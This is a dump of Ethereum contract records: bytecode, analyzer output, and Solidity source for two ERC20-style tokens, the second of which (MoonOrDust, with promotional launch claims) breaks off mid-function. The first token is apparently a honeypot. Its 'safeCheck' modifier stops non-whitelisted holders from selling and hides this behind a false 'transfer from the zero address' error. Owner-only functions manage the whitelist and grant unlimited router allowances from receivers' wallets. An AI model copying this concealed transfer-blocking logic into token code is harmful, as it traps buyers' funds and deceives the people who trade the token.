131ce565b9150612d668261360b565b602082019050919050565b6000612d7e6029836131ce565b9150612d8982613634565b604082019050919050565b6000612da16025836131ce565b9150612dac82613683565b604082019050919050565b6000612dc46024836131ce565b9150612dcf826136d2565b604082019050919050565b6000612de76017836131ce565b9150612df282613721565b602082019050919050565b6000612e0a6013836131ce565b9150612e158261374a565b602082019050919050565b612e2981613332565b82525050565b612e388161333c565b82525050565b6000602082019050612e536000830184612bdb565b92915050565b6000604082019050612e6e6000830185612bdb565b612e7b6020830184612bdb565b9392505050565b6000604082019050612e976000830185612bdb565b612ea46020830184612e20565b9392505050565b600060c082019050612ec06000830189612bdb565b612ecd6020830188612e20565b612eda6040830187612c57565b612ee76060830186612c57565b612ef46080830185612bdb565b612f0160a0830184612e20565b979650505050505050565b6000602082019050612f216000830184612c48565b92915050565b60006020820190508181036000830152612f418184612c66565b905092915050565b60006020820190508181036000830152612f6281612c9f565b9050919050565b60006020820190508181036000830152612f8281612cc2565b9050919050565b60006020820190508181036000830152612fa281612ce5565b9050919050565b60006020820190508181036000830152612fc281612d08565b9050919050565b60006020820190508181036000830152612fe281612d2b565b9050919050565b6000602082019050818103600083015261300281612d4e565b9050919050565b6000602082019050818103600083015261302281612d71565b9050919050565b6000602082019050818103600083015261304281612d94565b9050919050565b6000602082019050818103600083015261306281612db7565b9050919050565b6000602082019050818103600083015261308281612dda565b9050919050565b600060208201905081810360008301526130a281612dfd565b9050919050565b60006020820190506130be6000830184612e20565b92915050565b600060a0820190506130d96000830188612e20565b6130e66020830187612c57565b81810360408301526130f88186612bea565b90506131076060830185612bdb565b6131146080830184612e20565b9695505050505050565b60006020820190506131336000830184612e2f565b92915050565b6000613143613154565b905061314f828261338e565b919050565b6000604051905090565b600067ffffffffffffffff82111561317957613178613466565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ea82613332565b91506131f583613332565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322a57613229613408565b5b828201905092915050565b600061324082613332565b915061324b83613332565b92508261325b5761325a613437565b5b828204905092915050565b600061327182613332565b915061327c83613332565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b5576132b4613408565b5b828202905092915050565b60006132cb82613332565b91506132d683613332565b9250828210156132e9576132e8613408565b5b828203905092915050565b60006132ff82613312565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335482613332565b9050919050565b60005b8381101561337957808201518184015260208101905061335e565b83811115613388576000848401525b50505050565b61339782613495565b810181811067ffffffffffffffff821117156133b6576133b5613466565b5b80604052505050565b60006133ca82613332565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133fd576133fc613408565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b61377c816132f4565b811461378757600080fd5b50565b61379381613306565b811461379e57600080fd5b50565b6137aa81613332565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220abef6e09b29835ffe8659eaa7f1f05e22cb479019d7508746613f5d6fba56ef764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,047 |
0x90706bbb4adbc57bf25053feb2f3f70b4f2c1e32
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_LABS(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220464c4e1cdb7e92de92ae06f5a6a9a8ec1a638d9ae549d51b8d70d8a41b795ecc64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 6,048 |
0xb1de009199e2738d1523c8202012f67f1c043c86
|
/*
MoonOrDust
Initial LP 8eth
Max Buy At Launch : 0.5% during the first 5min
Max Wallet : 3%
LP locked & ownership renounced. ALL IS ON THE NAME.
TAX 3%
OFFICIAL TG & WEBSITE RELEASE AT 100K
CMC FAST TRACK CAN BE PAID IF WE HIT 1M WITH THE TAX FEE.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MoonOrDust is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e6 * 10**9;
string public constant name = unicode"MoonOrDust"; ////
string public constant symbol = unicode"MOONORDUST"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _MarketingWallet;
address payable private _DevWallet;
address public uniswapV2Pair;
uint public _buyFee = 3;
uint public _sellFee = 3;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event MarketingWalletUpdated(address _MarketingWallet);
event DevWalletUpdated(address _DevWallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable MarketingWallet, address payable DevWallet) {
_MarketingWallet = MarketingWallet;
_DevWallet = DevWallet;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[MarketingWallet] = true;
_isExcludedFromFee[DevWallet] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
